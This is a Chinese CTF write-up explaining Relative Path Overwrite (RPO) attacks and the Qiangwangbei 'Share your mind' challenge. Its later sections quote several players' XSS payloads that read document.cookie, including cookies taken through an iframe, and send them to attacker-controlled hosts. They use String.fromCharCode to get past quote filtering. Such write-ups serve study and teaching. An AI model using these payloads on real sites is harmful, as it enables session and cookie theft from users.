参考文章:

https://xz.aliyun.com/t/2220

http://www.thespanner.co.uk/2014/03/21/rpo/

https://www.lorexxar.cn/2018/03/26/qwb2018/#share-your-mind

0X01 什么是RPO攻击?

RPO(Relative Path Overwrite)相对路径覆盖,主要是利用浏览器的一些特性和部分服务端的配置以及沟通之间的差异导致的漏洞,通过一些技巧,我们可以通过相对路径来引入其他的资源文件,以至于达成我们想要的目的。

就目前来看此攻击方法依赖于浏览器和网络服务器的反应,基于服务器的Web缓存技术和配置差异,以及服务器和客户端浏览器的解析差异,利用前端代码中加载的css/js的相对路径来加载其他文件,最终浏览器将服务器返回的不是css/js的文件当做css/js来解析,从而导致XSS,信息泄露等漏洞产生。

0X02 需要了解的基础知识

1、phpinfo url 模式

在看漏洞流程之前,我们先介绍一个知识点,就是按照目录方式获取资源,以及phpinfo URL模式。

http://39.107.33.96:/index.php/view/article/

难道有一个目录交index.php吗?不是的,它使用了url rewrite的php开发框架,也叫PHPINFO URL模式

等价于

http://39.107.33.96:/index.php?mod=view&article=

2、关于服务器和客户端浏览器在解析和识别上的差异化

第一个差异化 不同web服务器对url的识别是不一样的。

在Apache中将/编码为%2f后,服务器无法识别url,返回404,但是在Nginx中将/编码为%2f后,服务器可以识别编码后的url,返回200。

第二个差异化 客户端浏览器在加载相对路径文件时是以最后一个/为相对目录加载具体资源文件的。

在Nginx中,编码后的url服务器可以正常识别,也就是说服务器在加载文件时会解码后找到具体文件返回返回客户端。

但是在客户端识别url时是不会解码的,正常情况下解码%2f解码后应该加载的是rpo/xxx/../x.js,最后也就是rpo/x.js文件;而这里加载的是/x.js,所以浏览器是没有解码%2f的。

3、浏览器对CSS的解析

显示的相对URL将查找公开内容,并根据当前域名自动包含该域。相对URL有两种重要的变体,第一种是我们可以使用当前路径并查找其中的目录,如“xyz”或使用通用目录遍历技术,如“../xyz”。要查看这些标记在标记中的工作方式,请查看样式表中常用的相对URL。

<html>
<head>
<link href="styles.css" rel="stylesheet" type="text/css" />
</head>
<body>
</body>
</html>

上面的链接元素使用相对URL引用“style.css”,具体取决于您所在的站点目录结构中的哪个位置,它将根据该位置加载样式表。例如,如果您在一个名为“xyz”的目录中,则样式表将从“xyz/style.css”加载。

这个有趣的方面是浏览器不知道什么是正确的路径,因为它无法访问服务器的文件系统。没有办法从文件系统外部确定有效的目录结构,只能进行有根据的猜测并使用http状态码来确定它们的存在。

无效的代码

}*{color:#ccc;}

有两种技巧可以忽略涉及选择器的非法代码,具体取决于单个}将运行的CSS解析器还是{}。我们将看看IE compat,因为解析器很松散并且支持CSS表达式。一个CSS表达式如下所示:

*{
xss:expression(alert(1));
}

第一部分是全局选择器“*”,{打开选择器使用自定义属性xss,然后表达式包含执行alert(1)的JavaScript。

测试语句:

Hello {}*{xss:expression(open(alert(1)))}

0X03 分析强网杯 Share your mind 这道题

文章最开始提到过,RPO漏洞就是“相对路径覆盖”,所以要先存在一个相对路径点。

RPO攻击 &amp; share your mind-LMLPHP

该js成功加载说明漏洞存在,下面从漏洞的payload入手

http://39.107.33.96:/index.php/view/article//..%2f..%2f..%2f..%2findex.php

对于php而言,它获得的请求是url解码后的,%2F会被解码为/,nginx会按照目录的方式来返回我们请求的资源。

所以对于服务器端,也就相当于访问

http://39.107.33.96:/index.php/view/article//../../../../index.php

向上跳了三层,依旧返回index.php页面的内容

但是!服务端和客户端之间产生了沟通差异,浏览器在寻找js资源的时候,并没有对%2f进行解码,就认为

..%2f..%2f..%2f..%2findex.php是一段数据,但是又没有人来接收这段数据,相当于报废。

http://39.107.33.96:20000/index.php/view/article/36967/..%2f..%2f..%2f..%2findex.php相当于在文章ID为36967的文章页面传了一个叫..%2f..%2f..%2f..%2findex.php的参数,没有人接收,所以返回的资源就只是http://39.107.33.96:20000/index.php/view/article/36967/的。

浏览器错误理解url后,请求相对路径中请求的资源路径,就变成了http://39.107.33.96:20000/index.php/view/article/36967/..%2f..%2f..%2f..%2findex.php/static/js/jquery.min.js

当我们向服务器提交这个请求的时候,服务器会按照phpinfo模式来读取这个url,

读到..%2f..%2f..%2f..%2findex.php这里就读不下去了,识别不了,退一步,把前面能识别的内容返回回来,也就是http://39.107.33.96:20000/index.php/view/article/36967/

我们看网络里的请求,也可以看到浏览器按照phpinfo的格式来解析url的话,只会访问到能识别的地方

RPO攻击 &amp; share your mind-LMLPHP

这里要注意,zhaijh只是为了表示这是一个没有用的dir,同理把..%2f..%2f..%2f..%2findex.php当做dir也是一样的。

把http://39.107.33.96:20000/index.php/view/article/36967/的页面内容,也就是alert(1)当做是js文件的内容,带回到了<script>标签中,也就因此,造成了XSS漏洞

RPO攻击 &amp; share your mind-LMLPHP

0X04 关于这道题漏洞利用

关于这一章我没有自己实现,因为这个做法需要在VPS执行js脚本,我没有这个环境,我尝试用xss平台实现,但未实现成功。第二点,赛后服务器已经关闭了后台的bot,不会反弹信息了,所以这里只做记录。

来自 Ph0rse

之后我们就可以伪造请求,比如(new Image()).src = 'http://VPSIP:Port?'+document.cookie

由于漏洞点过滤了引号,所以可以用fromCharCode进行绕过处理

(new Image()).src = String.fromCharCode(104,116,116,112,58,47,47,53,52,46,50,51,53,46,50,51,52,46,54,56,58,50,51,51,47)+document.cookie;

写这篇文章的时候,后台的自动点击脚本貌似没在运行了,只能我自己触发一下xss,弹个自己的PHPSESSION回来。比赛过程中会有个提示,让你去打二级目录/QWB_fl4g/QWB/

然后使用iframe标签去读二级目录下的cookie

iframe
var iframe = document.createElement(String.fromCharCode(105,102,114,97,109,101));
iframe.src = String.fromCharCode(47,81,87,66,95,102,108,52,103,47,81,87,66,47);
iframe.id = String.fromCharCode(102,114,97,109,101);
document.body.appendChild(iframe);
iframe.onload = function (){
var c =
document.getElementById(String.fromCharCode(102,114,97,109,101)).contentWindow.document.cookie;
var n0t = document.createElement(String.fromCharCode(108,105,110,107));
n0t.setAttribute(String.fromCharCode(114,101,108), String.fromCharCode(112,114,101,102,101,116,99,104));
n0t.setAttribute(String.fromCharCode(104,114,101,102), String.fromCharCode(47,47,53,52,46,50,51,53,46,50,51,52,46,54,56,58,50,51,51,47,63,102,108,97,103,61) + c);
document.head.appendChild(n0t);
}

VPS处就可以监听到返回的flag~

来自lorexxar

直接打cookie,获得提示HINT=Try to get the cookie of path \"/QWB_fl4g/QWB/\

打子域的cookie即可

var i=document.createElement("iframe");
i.src="/QWB_fl4g/QWB/";
i.id="a";
document.body.appendChild(i);
i.onload = function (){
var c=document.getElementById('a').contentWindow.document.cookie;
location.href="http://xxxxx?xx="+c;
}

不知道为什么一直不执行,各种改也没用,后来改用documen.write写入就好了

document.write(String.fromCharCode(ord(脚本的内容)))

成功打到flag

来自l3m0n

这里面对一些特殊符号也进行了实体化编码,所以加载payload就使用了eval(String.fromCharCode(97))的形式

获取当前根目录的cookie:

b=document.cookie;a="<img src=//ip/"+btoa(b)+">";document.write(a);

打回来的数据提示Try to get the cookie of path "/QWB_fl4g/QWB/",也就是要获取不同目录下的cookie。可以通过iframe来加载,最后来获取iframe里面的cookie。

var i = document.createElement("iframe");
i.setAttribute("src", "/QWB_fl4g/QWB/");
document.body.appendChild(i);
i.addEventListener( "load", function(){
var content = i.contentWindow.document.cookie;
location='//ip/'+btoa(content);
}, false);

最后可拿到flag: flag=QWB%7Bflag_is_f43kth4rpo%7D; HINT=Try to get the cookie of path "/QWB_fl4g/QWB/"

05-11 19:26